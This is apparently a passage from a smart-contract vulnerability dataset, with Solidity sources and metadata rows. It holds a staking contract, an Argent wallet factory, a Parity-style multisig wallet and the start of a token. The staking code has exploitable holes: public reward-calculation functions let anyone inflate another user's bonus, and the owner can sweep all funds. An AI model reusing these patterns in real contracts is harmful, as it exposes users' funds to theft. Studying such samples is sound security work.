require(!user.stakerecord[count].withdrawan," withdraw completed ");
require(wolveToken.balanceOf(owner) >= user.stakerecord[count].amount,"owner doesnt have enough balance");
require(user.stakerecord[count].amount != 0,"User stake amount must be greater then zero. ");
checkEndingTime(msg.sender, count, user.stakerecord[count].plan);
require(endingTime > stakeTimeForEndind, "You cannot withdraw amount before Time.");
checkAfterTimeBonus(msg.sender,count);
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].amount);
if(user.stakerecord[count].rewardToken == 1){
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus);
}else{
require(amdToken.balanceOf(owner) >= user.stakerecord[count].bonus,"owner doesnt have enough balance in admantium token");
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus);
}
if(user.stakerecord[count].transactions == 1){
require(wolveToken.balanceOf(owner) >= user.stakerecord[count].amount,"owner doesnt have enough balance for 10%");
wolveToken.transferFrom(owner,msg.sender,deductedAmount[msg.sender]);
}
if(user.stakerecord[count].beforeExtendBonus != 0){
if(user.stakerecord[count].rewardToken == 1){
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus);
}else{
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus);
}
}
if(user.stakerecord[count].afterTimeBonus != 0){
if(user.stakerecord[count].rewardToken == 1){
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus);
}
else{
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus);
}
}
user.stakerecord[count].withdrawan = true;
totalWolveRewardToken+= user.stakerecord[count].bonus;
emit Withdrawn(msg.sender,user.stakerecord[count].amount,block.timestamp);
}
function withdrawInAmd(uint256 count) public {
User storage user = users[msg.sender];
require(user.stakecount >= count, "Invalid Stake index");
require(user.stakerecord[count].withdrawWith == 2,"You canot withdraw Wolverinu staked token from Admantium.");
require(!user.stakerecord[count].withdrawan," withdraw completed ");
require(amdToken.balanceOf(owner) >= user.stakerecord[count].amount,"This owner doesnt have enough balance");
if(!user.stakerecord[count].migrated){
checkEndingTime(msg.sender, count, user.stakerecord[count].plan);
require(endingTime > stakeTimeForEndind, "You cannot withdraw amount before Time.");
checkAfterTimeBonus(msg.sender,count);
}
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].amount);
if(user.stakerecord[count].rewardToken == 1) {
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus);
}
else {
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].bonus);
}
if(user.stakerecord[count].transactions == 1){
if(deductedAmount[msg.sender] > 0){
wolveToken.transferFrom(owner,msg.sender,deductedAmount[msg.sender]);
}
}
if(user.stakerecord[count].migrated){
uint256 value1 = 10; // percentage that how much amount that was deducted in Wolvrine token
uint256 deductedAmount2 = user.stakerecord[count].amount.mul(value1).div(100);
amdToken.transferFrom(owner,msg.sender,deductedAmount2);
}
if(!user.stakerecord[count].migrated){
if(user.stakerecord[count].beforeExtendBonus != 0){
if(user.stakerecord[count].rewardToken == 1){
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus);
}
else{
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].beforeExtendBonus);
}
}
if(user.stakerecord[count].afterTimeBonus != 0){
if(user.stakerecord[count].rewardToken == 1){
wolveToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus);
}
else{
amdToken.transferFrom(owner,msg.sender,user.stakerecord[count].afterTimeBonus);
}
}
}
user.claimedstakeTokens += user.stakerecord[count].amount;
user.claimedstakeTokens += user.stakerecord[count].bonus;
user.stakerecord[count].withdrawan = true;
totalAmdRewardToken+= user.stakerecord[count].bonus;
emit Withdrawn(msg.sender,user.stakerecord[count].amount,block.timestamp);
}
function extendStake(uint256 count,uint256 newplan) public {
User storage user = users[msg.sender];
require(user.stakerecord[count].withdrawan != true,"This stake is already withdrawn.");
require(user.stakecount >= count, "Invalid Stake index");
require(newplan >= 0 && newplan < 4 ,"Enter Valid Plan");
require(user.stakerecord[count].plan < newplan, "Can not extend to lower plan");
require(!user.stakerecord[count].migrated,"You canot extend migrated stake.");
checkEndingTime(msg.sender, count, user.stakerecord[count].plan);
require(endingTime < stakeTimeForEndind, "You cannot extend stake after Time is Over.");
uint256 timeBefore = user.stakerecord[count].stakeTime;
uint256 currentTime = block.timestamp;
uint256 beforeDays = (currentTime - timeBefore).div(1 days);
calculateNewReward(msg.sender,count,user.stakerecord[count].amount, beforeDays,user.stakerecord[count].plan);
user.stakerecord[count].plan = newplan;
user.stakerecord[count].stakeTime = block.timestamp;
user.stakerecord[count].withdrawTime = block.timestamp.add(durations[newplan]);
user.stakerecord[count].bonus = user.stakerecord[count].amount.mul(percentages[newplan]).div(percentDivider);
emit ExtenderStake(msg.sender,user.stakerecord[count].amount,block.timestamp);
}
function checkAfterTimeBonus(address userAddress,uint count) public {
User storage user = users[userAddress];
uint256 timeBefore = user.stakerecord[count].withdrawTime;
uint256 currentTime = block.timestamp;
uint256 nextDays = (currentTime - timeBefore).div(1 days);
calculateNextReward(userAddress, count, user.stakerecord[count].amount, nextDays, user.stakerecord[count].plan);
}
function checkEndingTime(address userAddress, uint256 count, uint plan) public returns(uint256){
User storage user = users[userAddress];
endingTime = (block.timestamp - user.stakerecord[count].stakeTime).div(1 days);
stakeTimeForEndind = durations[plan].div(1 days);
return endingTime;
}
function migrateV1(address[] memory userList) external onlyOwner returns (bool){
require(!migrationCheck,"Owner can not called this function again.");
for (uint i=0; i< userList.length; i++){
require(userList[i] != address(0),"This is not a valid address");
User storage user = users[userList[i]];
(uint256 _totalstakeduser, uint256 _stakecount, uint256 _claimedstakeTokens) = stakeInstance.users(userList[i]);
require(_stakecount != 0,"He is not an old invester");
uint256 count = user.stakecount;
user.totalstakeduser += _totalstakeduser;
user.stakecount += _stakecount;
user.claimedstakeTokens += _claimedstakeTokens;
for(uint256 j = 0; j < _stakecount; j++){
(uint256 _withdrawTime,uint256 _amount,uint256 _bonus,uint256 _plan,
bool _withdrawan) = stakeInstance.stakedetails(userList[i],j);
user.stakerecord[count].plan = _plan;
user.stakerecord[count].amount = _amount;
user.stakerecord[count].withdrawTime = _withdrawTime;
user.stakerecord[count].bonus = _bonus;
user.stakerecord[count].withdrawan = _withdrawan;
user.stakerecord[count].rewardToken = 2;
user.stakerecord[count].transactions = 1;
user.stakerecord[count].migrated = true;
user.stakerecord[count].withdrawWith = 2;
count++;
}
}
migrationCheck = true;
return migrationCheck;
}
function changeOwner(address payable _newOwner) external onlyOwner {
owner = _newOwner;
}
function migrateStuckFunds() external onlyOwner {
owner.transfer(address(this).balance);
}
function migratelostToken(address lostToken) external onlyOwner {
IBEP20(lostToken).transfer(owner,IBEP20(lostToken).balanceOf(address(this)));
}
function setminimumtokens(uint256 amount) external onlyOwner {
minStake = amount;
}
function setpercentages(uint256 amount1,uint256 amount2,uint256 amount3,uint256 amount4) external onlyOwner {
percentages[0] = amount1;
percentages[1] = amount2;
percentages[2] = amount3;
percentages[3] = amount4;
}
function stakedetails(address add, uint256 count)public view returns (Stake memory){
return (users[add].stakerecord[count]);
}
function getAllStakeDetail(address add)public view returns (Stake[] memory){
Stake[] memory userStakingInfo = new Stake[](users[add].stakecount);
for(uint counter=0; counter < users[add].stakecount; counter++) {
Stake storage member = users[add].stakerecord[counter];
userStakingInfo[counter] = member;
}
return userStakingInfo;
}
function calculateRewards(uint256 amount, uint256 plan) external view returns (uint256){
return amount.mul(percentages[plan]).div(percentDivider);
}
function calculaateNewPercentage(uint256 _newDuration,uint256 plan) public {
uint256 newDuration = 1 days;
newDuration = newDuration * _newDuration;
newPercentage = APYtoPercentage(APY[plan], newDuration.div(1 days));
}
function calculateNewReward(address userAddress, uint256 userStakeCount, uint256 amount, uint256 _newDuration, uint256 plan) public{
User storage user = users[userAddress];
calculaateNewPercentage(_newDuration, plan);
user.stakerecord[userStakeCount].beforeExtendBonus += amount.mul(newPercentage).div(percentDivider);
}
function calculateNextReward(address userAddress, uint256 userStakeCount, uint256 amount, uint256 _newDuration, uint256 plan) public {
User storage user = users[userAddress];
calculaateNewPercentage(_newDuration, plan);
user.stakerecord[userStakeCount].afterTimeBonus = amount.mul(newPercentage).div(percentDivider);
}
function APYtoPercentage(uint256 apy, uint256 duration) public pure returns(uint256){
return apy.mul(duration).div(525600);
}
function currentStaked(address add) external view returns (uint256) {
uint256 currentstaked;
for (uint256 i; i < users[add].stakecount; i++) {
if (!users[add].stakerecord[i].withdrawan) {
currentstaked += users[add].stakerecord[i].amount;
}
}
return currentstaked;
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
function getContractstakeTokenBalanceOfWolve() external view returns (uint256) {
return wolveToken.allowance(owner, address(this));
}
function getContractstakeTokenBalanceOfAmd() external view returns (uint256) {
return amdToken.allowance(owner, address(this));
}
function getCurrentwithdrawTime() external view returns (uint256) {
return block.timestamp;
}
}
| 275,313 | 11,713 |
1b855a7cb36c6d37ef509fc1258f940275b348427c8f40037423cacb73b592b5
| 20,358 |
.sol
|
Solidity
| false |
519123139
|
JolyonJian/contracts
|
b48d691ba0c2bfb014a03e2b15bf7faa40900020
|
contracts/4526_18895_0x40c84310ef15b0c0e5c69d25138e0e16e8000fe9.sol
| 3,057 | 13,265 |
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.5.4;
contract Proxy {
address implementation;
event Received(uint indexed value, address indexed sender, bytes data);
constructor(address _implementation) public {
implementation = _implementation;
}
function() external payable {
if (msg.data.length == 0 && msg.value > 0) {
emit Received(msg.value, msg.sender, msg.data);
} else {
// solium-disable-next-line security/no-inline-assembly
assembly {
let target := sload(0)
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas, target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {revert(0, returndatasize())}
default {return (0, returndatasize())}
}
}
}
}
contract BaseWallet {
function init(address _owner, address[] calldata _modules) external;
function authoriseModule(address _module, bool _value) external;
function enableStaticCall(address _module, bytes4 _method) external;
function setOwner(address _newOwner) external;
function invoke(address _target, uint _value, bytes calldata _data) external returns (bytes memory _result);
function() external payable;
}
contract Owned {
// The owner
address public owner;
event OwnerChanged(address indexed _newOwner);
modifier onlyOwner {
require(msg.sender == owner, "Must be owner");
_;
}
constructor() public {
owner = msg.sender;
}
function changeOwner(address _newOwner) external onlyOwner {
require(_newOwner != address(0), "Address must not be null");
owner = _newOwner;
emit OwnerChanged(_newOwner);
}
}
contract Managed is Owned {
// The managers
mapping (address => bool) public managers;
modifier onlyManager {
require(managers[msg.sender] == true, "M: Must be manager");
_;
}
event ManagerAdded(address indexed _manager);
event ManagerRevoked(address indexed _manager);
function addManager(address _manager) external onlyOwner {
require(_manager != address(0), "M: Address must not be null");
if (managers[_manager] == false) {
managers[_manager] = true;
emit ManagerAdded(_manager);
}
}
function revokeManager(address _manager) external onlyOwner {
require(managers[_manager] == true, "M: Target must be an existing manager");
delete managers[_manager];
emit ManagerRevoked(_manager);
}
}
interface IENSManager {
event RootnodeOwnerChange(bytes32 indexed _rootnode, address indexed _newOwner);
event ENSResolverChanged(address addr);
event Registered(address indexed _owner, string _ens);
event Unregistered(string _ens);
function changeRootnodeOwner(address _newOwner) external;
function register(string calldata _label, address _owner) external;
function isAvailable(bytes32 _subnode) external view returns(bool);
function getENSReverseRegistrar() external view returns (address);
function ensResolver() external view returns (address);
}
contract ModuleRegistry {
function registerModule(address _module, bytes32 _name) external;
function deregisterModule(address _module) external;
function registerUpgrader(address _upgrader, bytes32 _name) external;
function deregisterUpgrader(address _upgrader) external;
function moduleInfo(address _module) external view returns (bytes32);
function upgraderInfo(address _upgrader) external view returns (bytes32);
function isRegisteredModule(address _module) external view returns (bool);
function isRegisteredModule(address[] calldata _modules) external view returns (bool);
function isRegisteredUpgrader(address _upgrader) external view returns (bool);
}
interface IGuardianStorage{
function addGuardian(BaseWallet _wallet, address _guardian) external;
function revokeGuardian(BaseWallet _wallet, address _guardian) external;
function isGuardian(BaseWallet _wallet, address _guardian) external view returns (bool);
}
contract WalletFactory is Owned, Managed {
// The address of the module dregistry
address public moduleRegistry;
// The address of the base wallet implementation
address public walletImplementation;
// The address of the ENS manager
address public ensManager;
// The address of the GuardianStorage
address public guardianStorage;
// *************** Events *************************** //
event ModuleRegistryChanged(address addr);
event ENSManagerChanged(address addr);
event GuardianStorageChanged(address addr);
event WalletCreated(address indexed wallet, address indexed owner, address indexed guardian);
// *************** Modifiers *************************** //
modifier guardianStorageDefined {
require(guardianStorage != address(0), "GuardianStorage address not defined");
_;
}
// *************** Constructor ********************** //
constructor(address _moduleRegistry, address _walletImplementation, address _ensManager) public {
moduleRegistry = _moduleRegistry;
walletImplementation = _walletImplementation;
ensManager = _ensManager;
}
// *************** External Functions ********************* //
function createWallet(address _owner,
address[] calldata _modules,
string calldata _label)
external
onlyManager
{
_createWallet(_owner, _modules, _label, address(0));
}
function createWalletWithGuardian(address _owner,
address[] calldata _modules,
string calldata _label,
address _guardian)
external
onlyManager
guardianStorageDefined
{
require(_guardian != (address(0)), "WF: guardian cannot be null");
_createWallet(_owner, _modules, _label, _guardian);
}
function createCounterfactualWallet(address _owner,
address[] calldata _modules,
string calldata _label,
bytes32 _salt)
external
onlyManager
{
_createCounterfactualWallet(_owner, _modules, _label, address(0), _salt);
}
function createCounterfactualWalletWithGuardian(address _owner,
address[] calldata _modules,
string calldata _label,
address _guardian,
bytes32 _salt)
external
onlyManager
guardianStorageDefined
{
require(_guardian != (address(0)), "WF: guardian cannot be null");
_createCounterfactualWallet(_owner, _modules, _label, _guardian, _salt);
}
function getAddressForCounterfactualWallet(address _owner,
address[] calldata _modules,
bytes32 _salt)
external
view
returns (address _wallet)
{
_wallet = _getAddressForCounterfactualWallet(_owner, _modules, address(0), _salt);
}
function getAddressForCounterfactualWalletWithGuardian(address _owner,
address[] calldata _modules,
address _guardian,
bytes32 _salt)
external
view
returns (address _wallet)
{
require(_guardian != (address(0)), "WF: guardian cannot be null");
_wallet = _getAddressForCounterfactualWallet(_owner, _modules, _guardian, _salt);
}
function changeModuleRegistry(address _moduleRegistry) external onlyOwner {
require(_moduleRegistry != address(0), "WF: address cannot be null");
moduleRegistry = _moduleRegistry;
emit ModuleRegistryChanged(_moduleRegistry);
}
function changeENSManager(address _ensManager) external onlyOwner {
require(_ensManager != address(0), "WF: address cannot be null");
ensManager = _ensManager;
emit ENSManagerChanged(_ensManager);
}
function changeGuardianStorage(address _guardianStorage) external onlyOwner {
require(_guardianStorage != address(0), "WF: address cannot be null");
guardianStorage = _guardianStorage;
emit GuardianStorageChanged(_guardianStorage);
}
function init(BaseWallet _wallet) external pure { // solium-disable-line no-empty-blocks
//do nothing
}
// *************** Internal Functions ********************* //
function _createWallet(address _owner, address[] memory _modules, string memory _label, address _guardian) internal {
_validateInputs(_owner, _modules, _label);
Proxy proxy = new Proxy(walletImplementation);
address payable wallet = address(proxy);
_configureWallet(BaseWallet(wallet), _owner, _modules, _label, _guardian);
}
function _createCounterfactualWallet(address _owner,
address[] memory _modules,
string memory _label,
address _guardian,
bytes32 _salt)
internal
{
_validateInputs(_owner, _modules, _label);
bytes32 newsalt = _newSalt(_salt, _owner, _modules, _guardian);
bytes memory code = abi.encodePacked(type(Proxy).creationCode, uint256(walletImplementation));
address payable wallet;
// solium-disable-next-line security/no-inline-assembly
assembly {
wallet := create2(0, add(code, 0x20), mload(code), newsalt)
if iszero(extcodesize(wallet)) { revert(0, returndatasize) }
}
_configureWallet(BaseWallet(wallet), _owner, _modules, _label, _guardian);
}
function _configureWallet(BaseWallet _wallet,
address _owner,
address[] memory _modules,
string memory _label,
address _guardian)
internal
{
// add the factory to modules so it can claim the reverse ENS or add a guardian
address[] memory extendedModules = new address[](_modules.length + 1);
extendedModules[0] = address(this);
for (uint i = 0; i < _modules.length; i++) {
extendedModules[i + 1] = _modules[i];
}
// initialise the wallet with the owner and the extended modules
_wallet.init(_owner, extendedModules);
// add guardian if needed
if (_guardian != address(0)) {
IGuardianStorage(guardianStorage).addGuardian(_wallet, _guardian);
}
// register ENS
_registerWalletENS(address(_wallet), _label);
// remove the factory from the authorised modules
_wallet.authoriseModule(address(this), false);
// emit event
emit WalletCreated(address(_wallet), _owner, _guardian);
}
function _getAddressForCounterfactualWallet(address _owner,
address[] memory _modules,
address _guardian,
bytes32 _salt)
internal
view
returns (address _wallet)
{
bytes32 newsalt = _newSalt(_salt, _owner, _modules, _guardian);
bytes memory code = abi.encodePacked(type(Proxy).creationCode, uint256(walletImplementation));
bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), newsalt, keccak256(code)));
_wallet = address(uint160(uint256(hash)));
}
function _newSalt(bytes32 _salt, address _owner, address[] memory _modules, address _guardian) internal pure returns (bytes32) {
if (_guardian == address(0)) {
return keccak256(abi.encodePacked(_salt, _owner, _modules));
} else {
return keccak256(abi.encodePacked(_salt, _owner, _modules, _guardian));
}
}
function _validateInputs(address _owner, address[] memory _modules, string memory _label) internal view {
require(_owner != address(0), "WF: owner cannot be null");
require(_modules.length > 0, "WF: cannot assign with less than 1 module");
require(ModuleRegistry(moduleRegistry).isRegisteredModule(_modules), "WF: one or more modules are not registered");
bytes memory labelBytes = bytes(_label);
require(labelBytes.length != 0, "WF: ENS lable must be defined");
}
function _registerWalletENS(address payable _wallet, string memory _label) internal {
// claim reverse
address ensResolver = IENSManager(ensManager).ensResolver();
bytes memory methodData = abi.encodeWithSignature("claimWithResolver(address,address)", ensManager, ensResolver);
address ensReverseRegistrar = IENSManager(ensManager).getENSReverseRegistrar();
BaseWallet(_wallet).invoke(ensReverseRegistrar, 0, methodData);
// register with ENS manager
IENSManager(ensManager).register(_label, _wallet);
}
}
| 230,199 | 11,714 |
b8ff01454a94666c643a19c85bd7c736f8ca707e682c5444e745929ad8157074
| 14,456 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0x8d2aae6a7eb63ba89c36e82385f096d41074cd87.sol
| 3,390 | 13,263 |
//sol Wallet
// Multi-sig, daily-limited account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
pragma solidity ^0.4.10;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
require(isOwner(msg.sender));
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
require(confirmAndCheck(_operation));
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length + 1;
m_owners[1] = uint(msg.sender);
m_ownerIndex[uint(msg.sender)] = 1;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[2 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 2 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// uses is specified in the modifier.
contract daylimit is multiowned {
// MODIFIERS
// simple modifier for daily limit.
modifier limitedDaily(uint _value) {
require(underLimit(_value));
_;
}
// METHODS
// constructor - stores initial daily limit and records the present day's index.
function daylimit(uint _limit) {
m_dailyLimit = _limit;
m_lastDay = today();
}
function setDailyLimit(uint _newLimit) onlymanyowners(sha3(msg.data)) external {
m_dailyLimit = _newLimit;
}
// resets the amount already spent today. needs many of the owners to confirm.
function resetSpentToday() onlymanyowners(sha3(msg.data)) external {
m_spentToday = 0;
}
// INTERNAL METHODS
// returns true. otherwise just returns false.
function underLimit(uint _value) internal onlyowner returns (bool) {
// reset the spend limit if we're on a different day to last time.
if (today() > m_lastDay) {
m_spentToday = 0;
m_lastDay = today();
}
// check to see if there's enough left - if so, subtract and return true.
// overflow protection // dailyLimit check
if (m_spentToday + _value >= m_spentToday && m_spentToday + _value <= m_dailyLimit) {
m_spentToday += _value;
return true;
}
return false;
}
// determines today's index.
function today() private constant returns (uint) { return now / 1 days; }
// FIELDS
uint public m_dailyLimit;
uint public m_spentToday;
uint public m_lastDay;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32);
function confirm(bytes32 _h) returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned, daylimit {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned and
// the limit to daylimit
function Wallet(address[] _owners, uint _required, uint _daylimit)
multiowned(_owners, _required) daylimit(_daylimit) {
}
// kills the contract sending everything to `_to`.
function kill(address _to) onlymanyowners(sha3(msg.data)) external {
selfdestruct(_to);
}
// gets called when no other function matches
function() payable {
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 _r) {
// first, take the opportunity to check that we're under the daily limit.
if (underLimit(_value)) {
SingleTransact(msg.sender, _value, _to, _data);
// yes - just execute the call.
require(_to.call.value(_value)(_data));
return 0;
}
// determine our operation hash.
_r = sha3(msg.data, block.number);
if (!confirm(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].data = _data;
ConfirmationNeeded(_r, msg.sender, _value, _to, _data);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool) {
if (m_txs[_h].to != 0) {
require(m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data));
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
}
| 215,997 | 11,715 |
2eb8c3c69d37e534b40d54f908f9e7bec91bb4e4aaef46660412fa7e3a0b806b
| 19,873 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/bf/bf912ec368fd06cf1ae7de35545e1c731796c102_APES.sol
| 3,227 | 11,018 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
